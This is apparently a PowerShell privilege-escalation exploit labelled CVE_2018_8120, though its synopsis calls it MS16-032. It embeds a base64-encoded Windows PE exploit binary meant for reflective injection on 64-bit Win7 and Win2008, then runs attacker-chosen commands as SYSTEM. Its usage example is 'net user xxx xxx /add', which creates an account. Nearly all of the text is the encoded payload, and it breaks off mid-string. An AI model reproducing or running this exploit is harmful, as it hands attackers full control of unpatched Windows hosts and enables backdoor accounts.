Function CVE_2018_8120{
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. Use Invoke-ReflectivePEInjection to load zcgonvh's MS16_032(https://github.com/zcgonvh/MS16-032) and execute commands.
    
    Targets:
    
    * Win7 & Win2008 <== 64 bit!
    

.DESCRIPTION
    Author: Evi1cg
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+

.PARAMETER Command

Specifies Command such as net user xxx xxx /add
    
.EXAMPLE
    C:\PS> CVE_2018_8120 -Command '"whoami"'

#>
 [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]
        $Command
        )
$InputString = "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